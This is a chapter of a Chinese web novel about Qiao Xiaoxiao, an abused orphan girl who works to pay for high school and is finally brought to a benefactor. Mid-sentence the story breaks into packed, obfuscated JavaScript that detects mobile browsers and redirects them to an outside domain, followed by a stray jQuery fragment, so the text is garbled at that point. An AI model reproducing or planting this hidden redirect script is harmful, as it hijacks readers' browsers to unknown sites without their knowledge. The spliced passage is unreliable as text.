2012年，夏。


    天还没亮，乔潇潇已经睁开了眼睛。


    她静静地躺在柴房隔出来的小床上，听着隔壁大伯的鼾声和磨牙声。床板很硬，硌得肩胛骨生疼，但她习惯了。五年来，这张用门板搭成的床就是她的整个世界。


    窗外传来第一声鸡鸣，她上了发条似的坐起来，没有发出一丝声响。


    厨房的水缸见了底。乔潇潇拎起铁桶，踩过结霜的院子。井绳在她掌心勒出深红的印子，但她连眉头都没皱一下。十二岁那年冬天，她曾经因为打翻半桶水被伯母用擀面杖抽得跪在雪地里，现在她能让满满一桶水滴水不漏。


    “磨蹭什么呢？”起来上厕所的伯母黄素兰趿拉着拖鞋出现在门口，睡眼惺忪的脸上写满不耐烦。


    乔潇潇沉默地放下水桶，开始生火。灶膛里的火苗蹿起来时，她盯着那跳动的橙色出神。火焰多自由啊，想往哪烧就往哪烧。不像她，连呼吸都得计算着分寸。


    稀粥在锅里咕嘟作响，她机械地切着咸菜，刀锋在案板上敲出规律的声响。


    晨曦初绽，云层像被揉碎的棉絮，阳光从缝隙中倾泻而下，温柔地笼罩了半边小院，本应静谧祥和的清晨，却被尖锐刺耳的叫骂声划破。


    “你小点声，别让潇潇听见！”


    “我怕她听见么！”


    “什么重点高中？！一年学杂费各类花销加起来要多少钱，你不知道吗？”


    “你自己女儿你不管了？！”


    “我省吃俭用地供她到现在就不错了！你出去看看，就咱们村，哪个女孩子到现在不是下地干活，嫁人补贴娘家，有谁去读这么贵的书？”


    尖锐到变形的女声嘶吼着咒骂着，间或，夹杂着沙哑的唯唯诺诺的男低音。


    “这不是潇潇出息吗？这孩子是咱们村这几年唯一一个考上乡重点的孩子啊，连村长都表扬了。”


    “她以后成绩出彩，我们脸上不也添光吗？”


    “添光？添谁的光？”


    “我嫁给你后，一天福都没享，给你们老乔家生孩子养孩子，你有没有良心！”


    “先不说她上学需要这么多钱，她走了，家里的猪你喂？鸡鸭鹅你喂？糯糯你带吗？！当初如果不是她，糯糯她——”


    “行了，闭嘴吧！！！”


    “砰——”


    巨响在狭小的屋子里炸开，锅碗瓢盆被狠狠掼在地上，门被摔得震天响，连窗框都跟着颤了颤。


    乔潇潇站在原地好半天，眼圈微微湿润，她摇着头要继续去忙的时候，一转身看见了乔糯筠缩在墙角，小小的身子几乎要嵌进墙缝里，两只手死死捂住耳朵，大眼睛里盛满了惊惶的泪水。


    她的心猛地一揪。


    “糯糯……”她快步上前，蹲下身，轻轻握住妹妹冰凉的小手。那双小手还在微微发抖，像受惊的雏鸟，连指尖都泛着苍白。乔潇潇用拇指摩挲着她的手背，声音放得极轻：“没事了，姐姐在这儿。”


    乔糯筠生得粉雕玉琢，活像个精致的瓷娃娃。她仰着小脸，湿漉漉的大眼睛里盛满了惊慌，用手比划着。


    ——姐姐，你不要糯糯了吗？


    糯糯的嘴里发出“呜呜”含糊的声音，不成句子。她在三岁那年发高烧，烧坏了嗓子，一直都是这样。


    乔潇潇摇了摇头，看着妹妹，蹲下身子，抱住她，柔声说：“姐姐不是不要你了，是我考上了高中，要去乡里上学，每周都回来看你好吗？”


    怀中的小人儿突然僵住了。乔糯筠虽然年纪尚小，却隐约明白“高中”意味着什么。她倏地抬起脸，眼底的泪光还未散去，却已亮起星星般的光彩。


    ——我看电视上说，上了高中就能考大学，就能过好日子啦！姐姐你快去！


    她急切地比划着，肉乎乎的小手在空中划出坚定的弧度。


    ——糯糯会乖乖等姐姐回来！


    看着那婴儿肥的小脸蛋和真诚的大眼睛，乔潇潇心如刀割，她用力地抱紧妹妹，哽咽着：“对不起……”


    早饭，不出意外的，黄素兰没有出来吃。


    三个人围坐在桌前，气氛压抑。


    以往这时候，无论有什么要求，乔潇潇都会让步妥协的，可这一次，所有的话，她都哽咽地咽了下去。


    上午，照例要去打工的，去镇上的山路很长。乔潇潇坐在拖拉机后斗，看着两侧的山崖缓缓后退。风吹乱了她用旧橡皮筋扎起的头发，有几缕扫在脸上，痒痒的。


    路过村口小卖部时，几个同龄女孩对着拖拉机指指点点。乔潇潇认得她们，都是当年一起上小学的。现在她们擦着劣质口红，穿着紧绷的牛仔裤，已经准备嫁人了。


    “听说她考了全镇第一？”


    “有什么用，她伯母能让她读才怪。”


    “她妈不就是读书读跑的？”


    “呵呵……”


    乔潇潇的指甲陷进掌心，但脸上依然平静。这些话她听了太多次，早该免疫了。


    可心脏还是会疼，像被细铁丝一圈圈缠紧。


    乔万山打工的工地尘土飞扬，烈日炙烤下，他的背脊弯成一道紧绷的弧线，一摞摞砖块压在他肩上，汗水顺着黝黑的皮肤滚落，在干燥的地面上砸出一个个深色的小坑。他一天能挣两百块，这是用无数个弯腰、扛起、走动的重复动作换来的。


    而乔潇潇则在工地角落的临时厨房帮工。大铁锅里的菜油滋滋作响，蒸腾的热气熏得她脸颊发烫，她得洗菜、切菜、端盘子，偶尔还要被脾气暴躁的厨子呼来喝去。一天下来，她手里攥着的，只有皱巴巴的一百块钱。


    工地上有多少人？少说也有百来号。而所有的菜——白菜、土豆、豆腐，偶尔有几片薄薄的肥肉都得靠她和几个帮工的女人张罗。她一天切菜的动作不停，很多时候，到了家，晚上做作业时，拿笔的手都在抖。


    大锅饭的味道实在说不上好，菜叶煮得发黄，土豆带着土腥气，偶尔浮着的几片肥肉也早就炖得没了油水。可工人们依旧狼吞虎咽，对他们来说，能填饱肚子就是最大的满足，谁还会在意滋味的好坏？


    吃饭时，他们总是三三两两地蹲在角落，捧着豁了口的搪瓷碗，沉默地扒着饭。那模样，就像一台台耗尽燃料的老旧机器，仅靠着最后一点惯性在运转。


    今天的乔潇潇格外沉默。她缩着肩膀，机械地往嘴里送着饭粒。乔万山盯着她看了半晌，突然伸出筷子，把碗里仅有的两片肉都夹到了她碗里。


    乔潇潇猛地抬头，下意识就要摇头拒绝，却听见乔万山低哑的声音：“你吃，长身体。”


    她张了张嘴，最终什么也没说，只是低下头，让刘海遮住发红的眼眶。饭粒混着咸涩的泪水，被她一口一口咽了下去。


    乔万山望着眼前这个瘦小的身影。十五岁的少女，本该是抽枝发芽的年纪，却因为长期营养不良，单薄得像片枯黄的落叶。他看着她突出的肩胛骨，看着她细得仿佛一折就断的手腕，心底那口气叹得又沉又重。


    记得第一次带侄女来这个工地，看着他一块块搬砖的样子，彼时稚气未脱还有些活泼的乔潇潇认真地说：“大伯，我要好好读书，等读好书了，我带你过好日子，天天吃肉！”


    一眨眼，那个水灵灵的小姑娘已经长大，乔潇潇身上沉沉的暮气，不是这个年龄该有的。


    工地上只包中午饭，午饭吃完，乔万山要继续搬砖，而乔潇潇则要转移“战场”了。


    偏僻的郊野公路上，半小时才有一班的公交车迟迟不见踪影。乔潇潇咬咬牙，把书包往肩上一甩，迈开双腿向着镇子方向跑去。


    风掠过耳畔，带着干燥的尘土气息。她的帆布鞋踏过坑洼的路面，惊起几只麻雀。三公里的路程，她跑得胸口发疼，汗水顺着马尾辫滴落，在后背洇出一片深色的痕迹。


    当快餐店的红蓝相间的招牌终于映入眼帘时，乔潇潇的双腿已经像灌了铅。她撑着膝盖大口喘息，喉间泛起铁锈般的血腥味。但时间不等人，她胡乱抹了把脸上的汗水，推开那扇沉重的玻璃门。


    冷气混着炸鸡的香气扑面而来，让她有一瞬间的眩晕。更衣室里，乔潇潇颤抖着手指系上制服扣子，镜中的人脸色潮红，发丝凌乱地贴在额前。她深吸一口气，将疲惫藏进挺直的背脊，转身走向前台。


    “对不起，我迟到了两分钟。”她的声音还带着喘息，却已经挂上了标准的微笑。


    领班皱着眉看了眼手表：“本来就四个小时，还迟到？有没有规矩，不知道提前说一声？”


    乔潇潇也想说，可是手机于她来说，太过奢侈。


    ……


    一天的打工结束。


    暮色像一盆逐渐冷却的炭火，将天边烧成暗红色。三轮摩托突突的引擎声在乡间小路上格外刺耳，乔潇潇蜷缩在车斗角落，随着每一次颠簸轻轻摇晃。她实在太累了，连睫毛都像灌了铅，乔万山粗糙的大手紧紧攥着她的衣角，生怕她在颠簸中摔出去。


    乔潇潇勉强睁开眼，看见大伯被夕阳镀成古铜色的侧脸，汗水在他深刻的皱纹里汇成小溪，他身上都是劳作了一整天不好闻的汗臭味。


    车拐过晒谷场时，乔万山压低声音说：“潇潇，你放心，这个书是一定要读的。你伯母那，我慢慢说，费用什么的，我打听了，可以先申请助学贷款，至于住宿，我去找村长想想办法。”


    引擎声忽然变得很大，大得盖过了田间的虫鸣，拂过了乔潇潇眼角的泪。


    乔万山说到做到，晚上到了家，简单吃了口饭，就去找村长想办法了，而这个夜晚注定不平静。


    每天给妹妹洗澡，是乔潇潇难得放松的时光。


    浴室里的水汽还没散尽，乔潇潇用毛巾裹着糯糯湿漉漉的头发轻轻揉搓。小姑娘被蒸得粉扑扑的脸蛋蹭着她手心，像只餍足的猫崽。


    ——姐姐香香。


    糯糯用手比划着，她举起小胳膊闻着沐浴露的茉莉香，眼睛弯成月牙。


    当乔潇潇终于把妹妹哄睡，轻手轻脚回到自己房间时，木门突然在巨响中震颤。黄素兰踩着虚浮的步子闯进来，鸡毛掸子在空气里划出尖啸，浓烈的酒气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546794|171171||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞬间淹没了房间里残留的茉莉香。


    “都怪你——”


    黄素兰嘶哑的嗓音像钝刀割着耳膜，“要不是你这个丧门星……”


    鸡毛掸子带着风声狠狠抽在书桌上，“啪”的一声脆响在狭小的房间里炸开。乔潇潇的脊背瞬间绷成一张拉满的弓，肌肉比大脑更先做出反应，右肩下意识地往内缩，左手已经护住了脆弱的肋骨位置。


    窗外开始下雨。雨滴敲打铁皮屋檐的声音，黄素兰歇斯底里的咒骂声，还有远处糯糯惊醒的哭声，全都混在一起。


    10岁到15岁，人生中最为璀璨的年少时光。


    乔潇潇就是这么度过的。


    ***


    天刚蒙蒙亮，乔万山就拎着鼓囊囊的编织袋等在院门口。袋子里装着自家腌的咸菜和晒的干菇——这是他们能拿出手的最体面的礼物。乔潇潇穿着那件洗得发白的藏青色风衣，牛仔裤的膝盖处还留着去年补过的针脚，她不停地用手指抚平衣摆上并不存在的褶皱。


    村长的二手桑塔纳碾过晨露未消的田埂路时，宋秋从后视镜里看了眼后座紧绷的少女。


    “丫头别怕。”他转动方向盘拐上县道，“咱万柳村的老规矩你晓得伐？走出去的娃娃就像撒出去的种子，在哪落地生根了，就得给后来的乡亲们遮片阴凉。”


    说着他拍了拍副驾驶座上装满土特产的纸箱，“你可是村里头一个考上重点高中的女娃娃，他们准得抢着帮忙咧！”


    车窗外的风景从金黄的稻田渐渐变成灰白的商铺，乔潇潇将发烫的额头贴在冰凉的玻璃上，手指无意识地绞着衣角，指节因用力而泛白。这是她十五年来第一次离希望这么近，近得仿佛能听见自由的心跳。


    然而命运总是擅长开玩笑。


    宋秋带着他们走遍了半个乡，拜访了七户从村里走出去的人家。每一扇打开的门后，都是同样尴尬的笑容，同样闪烁的眼神。不是他们不愿意帮忙，而是黄素兰这些年四处散布的闲言碎语，早已像野草般在每个人心里扎根。


    “那丫头啊，生下来就带着霉运。”


    “她爸死得蹊跷，她妈跑得干脆。”


    “连表妹都是，要不是沾染了她，不一定会烧成哑巴呢……”


    这些窃窃私语乔潇潇从小听到大。她记得十岁那年矿难后，村里人看她时那种既怜悯又畏惧的眼神；记得搬到大伯家后，邻居们悄悄在门口撒盐驱邪；更记得妹妹高烧不退那晚，黄素兰歇斯底里的哭喊：“都是你这个扫把星害的！”


    彼时，还小的乔潇潇不知道怎么就成“扫把星”了，只是，后来，那些突然降低的音量，那些躲闪的眼神，那些在她转身后响起的叹息，还有邻居的那一句：“别让那丫头进门吃饭，用一次性杯子给她倒水”，让她不得不明白。


    正午的太阳毒辣地炙烤着柏油马路，宋秋的衬衫后背湿了一大片。他站在第八户人家的门前，掏烟的手顿了顿，最终只是重重地叹了口气。


    到最后，宋秋蹲在梧桐树的阴影里，烟头的火星在指间明灭。他用力吸了一口，烟雾混着叹息一起吐出：“能找的都找了，现在就剩……那位了。”


    “她……”乔万山粗糙的手指无意识地搓着衣角，喉结上下滚动，“能、能行吗？”


    烟灰簌簌落下。宋秋眯起眼睛望向远处的高楼：“当年，咱们村也算救过她一命，这些年，她陆陆续续帮了不少贫困孩子，人家受过高等教育，不能像是这些人那样迷信，去看看吧，就当死马当作活马医了。”


    乔万山转头望去。


    斑驳的树影下，乔潇潇仰着脸，细碎的光斑在她睫毛上跳跃。她站得那样直，仿佛肩上压着的不是见的偏见与苦难，而是整个天空的重量。


    乔万山重重捻灭手里的烟，“好吧。”


    乔潇潇永远忘不了第一次见楚心柔的场景。


    原本一颗千疮百孔的心，早已破碎的不再抱有任何希望了。


    可老天爷终究是为她留了一线生机，给了她希望。


    老槐树的枝叶在风中簌簌作响，筛落一地碎金。


    楚心柔就坐在那流动的光影里，素白的棉麻长裙垂落石凳，衣袂间沾染了几瓣飘零的槐花。她执盏的姿势雅致，左手虚托着天青色的越窑茶盏，右手三指轻拈盏盖，阳光穿过她耳际散落的发丝，为那珍珠般的耳垂镀上柔光。


    经历了一上午的冷眼与推却，乔潇潇的灵魂早已蜷缩成皱巴巴的一团，她站在乔万山的身后，惶恐不安。


    不管宋秋、大伯和眼前的人说些什么，她始终低着头，长长的睫毛眨动，孤僻自卑。


    一直到她听到了一声温柔的“好”，乔潇潇猛地抬头，恰好撞进一片温柔的春色里。


    风过槐树，雪白的花瓣纷纷扬扬。楚心柔正抬手拂去肩头的落花，羊脂玉镯顺着她纤细的腕骨滑落，在阳光下泛着凝脂般的光泽。


    当那双含笑的眼眸望过来时，乔潇潇看见里面盛着的不是怜悯，而是清澈见底的温柔。


    那一刻，满树的槐花都成了陪衬。